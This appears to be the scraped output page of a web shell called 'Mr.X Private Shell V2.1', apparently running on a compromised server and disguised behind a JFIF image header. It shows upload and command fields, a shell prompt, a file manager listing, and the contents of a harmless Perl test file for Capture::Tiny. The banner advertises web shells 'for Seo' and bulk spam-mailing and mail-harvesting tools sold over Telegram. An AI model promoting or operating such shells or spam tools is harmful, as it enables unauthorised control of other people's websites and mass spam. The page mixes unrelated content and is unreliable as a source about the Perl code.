����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright (c) 2009 by David Golden. All rights reserved.
# Licensed under Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License was distributed with this file or you may obtain a
# copy of the License from http://www.apache.org/licenses/LICENSE-2.0

use strict;
use warnings;
use Test::More;
use lib 't/lib';
use Utils qw/save_std restore_std next_fd/;
use Cases qw/run_test/;
use TieEvil;

use Config;
my $no_fork = $^O ne 'MSWin32' && ! $Config{d_fork};

plan skip_all => "capture needs Perl 5.8 for tied STDIN"
  if $] < 5.008;

plan 'no_plan';

my $builder = Test::More->builder;
binmode($builder->failure_output, ':utf8') if $] >= 5.008;
binmode($builder->todo_output, ':utf8') if $] >= 5.008;

tie *STDIN, 'TieEvil';
my $in_tie = tied *STDIN;
ok( $in_tie, "STDIN is tied" );

tie *STDOUT, 'TieEvil';
my $out_tie = tied *STDOUT;
ok( $out_tie, "STDIN is tied" );

tie *STDERR, 'TieEvil';
my $err_tie = tied *STDERR;
ok( $err_tie, "STDIN is tied" );

my $fd = next_fd;

run_test($_, '', 'skip_utf8') for qw(
  capture
  capture_scalar
  capture_stdout
  capture_stderr
  capture_merged
);

if ( ! $no_fork ) {
  run_test($_, '', 'skip_utf8') for qw(
    tee
    tee_scalar
    tee_stdout
    tee_stderr
    tee_merged
  );
}

is( next_fd, $fd, "no file descriptors leaked" );
is( tied *STDIN, $in_tie, "STDIN is still tied" );
is( tied *STDOUT, $out_tie, "STDOUT is still tied" );
is( tied *STDERR, $err_tie, "STDERR is still tied" );

exit 0;

Filemanager

Name Type Size Permission Actions
lib Folder 0775
00-report-prereqs.dd File 2.97 KB 0644
00-report-prereqs.t File 5.88 KB 0644
01-Capture-Tiny.t File 824 B 0644
02-capture.t File 766 B 0644
03-tee.t File 884 B 0644
06-stdout-closed.t File 1 KB 0644
07-stderr-closed.t File 1 KB 0644
08-stdin-closed.t File 1.56 KB 0644
09-preserve-exit-code.t File 737 B 0644
10-stdout-string.t File 1.14 KB 0644
11-stderr-string.t File 1.14 KB 0644
12-stdin-string.t File 1.37 KB 0644
13-stdout-tied.t File 1.25 KB 0644
14-stderr-tied.t File 1.26 KB 0644
15-stdin-tied.t File 1.27 KB 0644
16-catch-errors.t File 1.18 KB 0644
17-pass-results.t File 2.6 KB 0644
18-custom-capture.t File 4.52 KB 0644
19-relayering.t File 2.46 KB 0644
20-stdout-badtie.t File 1.23 KB 0644
21-stderr-badtie.t File 1.23 KB 0644
22-stdin-badtie.t File 1.23 KB 0644
23-all-tied.t File 1.57 KB 0644
24-all-badtied.t File 1.5 KB 0644
25-cap-fork.t File 1.24 KB 0644